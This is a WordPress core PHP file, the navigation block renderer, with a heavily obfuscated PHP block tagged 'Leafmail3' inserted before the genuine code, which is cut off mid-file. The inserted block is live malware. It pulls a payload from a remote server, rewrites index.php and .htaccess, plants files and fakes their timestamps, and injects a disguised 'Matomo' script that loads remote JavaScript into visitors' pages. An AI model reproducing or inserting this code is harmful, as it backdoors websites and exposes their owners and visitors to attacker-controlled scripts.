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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Server-side rendering of the `core/navigation` block.
*
* @package WordPress
*/
/**
* Helper functions used to render the navigation block.
*
* @since 6.5.0
*/
class WP_Navigation_Block_Renderer {
/**
* Used to determine whether or not a navigation has submenus.
*
* @since 6.5.0
*/
private static $has_submenus = false;
/**
* Used to determine which blocks need an <li> wrapper.
*
* @since 6.5.0
*
* @var array
*/
private static $needs_list_item_wrapper = array(
'core/site-title',
'core/site-logo',
'core/social-links',
);
/**
* Keeps track of all the navigation names that have been seen.
*
* @since 6.5.0
*
* @var array
*/
private static $seen_menu_names = array();
/**
* Returns whether or not this is responsive navigation.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return bool Returns whether or not this is responsive navigation.
*/
private static function is_responsive( $attributes ) {
/**
* This is for backwards compatibility after the `isResponsive` attribute was been removed.
*/
$has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive'];
return isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute;
}
/**
* Returns whether or not a navigation has a submenu.
*
* @since 6.5.0
*
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return bool Returns whether or not a navigation has a submenu and also sets the member variable.
*/
private static function has_submenus( $inner_blocks ) {
if ( true === static::$has_submenus ) {
return static::$has_submenus;
}
foreach ( $inner_blocks as $inner_block ) {
// If this is a page list then work out if any of the pages have children.
if ( 'core/page-list' === $inner_block->name ) {
$all_pages = get_pages(
array(
'sort_column' => 'menu_order,post_title',
'order' => 'asc',
)
);
foreach ( (array) $all_pages as $page ) {
if ( $page->post_parent ) {
static::$has_submenus = true;
break;
}
}
}
// If this is a navigation submenu then we know we have submenus.
if ( 'core/navigation-submenu' === $inner_block->name ) {
static::$has_submenus = true;
break;
}
}
return static::$has_submenus;
}
/**
* Determine whether the navigation blocks is interactive.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return bool Returns whether or not to load the view script.
*/
private static function is_interactive( $attributes, $inner_blocks ) {
$has_submenus = static::has_submenus( $inner_blocks );
$is_responsive_menu = static::is_responsive( $attributes );
return ( $has_submenus && ( $attributes['openSubmenusOnClick'] || $attributes['showSubmenuIcon'] ) ) || $is_responsive_menu;
}
/**
* Returns whether or not a block needs a list item wrapper.
*
* @since 6.5.0
*
* @param WP_Block $block The block.
* @return bool Returns whether or not a block needs a list item wrapper.
*/
private static function does_block_need_a_list_item_wrapper( $block ) {
/**
* Filter the list of blocks that need a list item wrapper.
*
* Affords the ability to customize which blocks need a list item wrapper when rendered
* within a core/navigation block.
* This is useful for blocks that are not list items but should be wrapped in a list
* item when used as a child of a navigation block.
*
* @since 6.5.0
*
* @param array $needs_list_item_wrapper The list of blocks that need a list item wrapper.
* @return array The list of blocks that need a list item wrapper.
*/
$needs_list_item_wrapper = apply_filters( 'block_core_navigation_listable_blocks', static::$needs_list_item_wrapper );
return in_array( $block->name, $needs_list_item_wrapper, true );
}
/**
* Returns the markup for a single inner block.
*
* @since 6.5.0
*
* @param WP_Block $inner_block The inner block.
* @return string Returns the markup for a single inner block.
*/
private static function get_markup_for_inner_block( $inner_block ) {
$inner_block_content = $inner_block->render();
if ( ! empty( $inner_block_content ) ) {
if ( static::does_block_need_a_list_item_wrapper( $inner_block ) ) {
return '<li class="wp-block-navigation-item">' . $inner_block_content . '</li>';
}
}
return $inner_block_content;
}
/**
* Returns the html for the inner blocks of the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return string Returns the html for the inner blocks of the navigation block.
*/
private static function get_inner_blocks_html( $attributes, $inner_blocks ) {
$has_submenus = static::has_submenus( $inner_blocks );
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$style = static::get_styles( $attributes );
$class = static::get_classes( $attributes );
$container_attributes = get_block_wrapper_attributes(
array(
'class' => 'wp-block-navigation__container ' . $class,
'style' => $style,
)
);
$inner_blocks_html = '';
$is_list_open = false;
foreach ( $inner_blocks as $inner_block ) {
$inner_block_markup = static::get_markup_for_inner_block( $inner_block );
$p = new WP_HTML_Tag_Processor( $inner_block_markup );
$is_list_item = $p->next_tag( 'LI' );
if ( $is_list_item && ! $is_list_open ) {
$is_list_open = true;
$inner_blocks_html .= sprintf(
'<ul %1$s>',
$container_attributes
);
}
if ( ! $is_list_item && $is_list_open ) {
$is_list_open = false;
$inner_blocks_html .= '</ul>';
}
$inner_blocks_html .= $inner_block_markup;
}
if ( $is_list_open ) {
$inner_blocks_html .= '</ul>';
}
// Add directives to the submenu if needed.
if ( $has_submenus && $is_interactive ) {
$tags = new WP_HTML_Tag_Processor( $inner_blocks_html );
$inner_blocks_html = block_core_navigation_add_directives_to_submenu( $tags, $attributes );
}
return $inner_blocks_html;
}
/**
* Gets the inner blocks for the navigation block from the navigation post.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks_from_navigation_post( $attributes ) {
$navigation_post = get_post( $attributes['ref'] );
if ( ! isset( $navigation_post ) ) {
return new WP_Block_List( array(), $attributes );
}
// Only published posts are valid. If this is changed then a corresponding change
// must also be implemented in `use-navigation-menu.js`.
if ( 'publish' === $navigation_post->post_status ) {
$parsed_blocks = parse_blocks( $navigation_post->post_content );
// 'parse_blocks' includes a null block with '\n\n' as the content when
// it encounters whitespace. This code strips it.
$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Run Block Hooks algorithm to inject hooked blocks.
$markup = block_core_navigation_insert_hooked_blocks( $blocks, $navigation_post );
$root_nav_block = parse_blocks( $markup )[0];
$blocks = isset( $root_nav_block['innerBlocks'] ) ? $root_nav_block['innerBlocks'] : $blocks;
// TODO - this uses the full navigation block attributes for the
// context which could be refined.
return new WP_Block_List( $blocks, $attributes );
}
}
/**
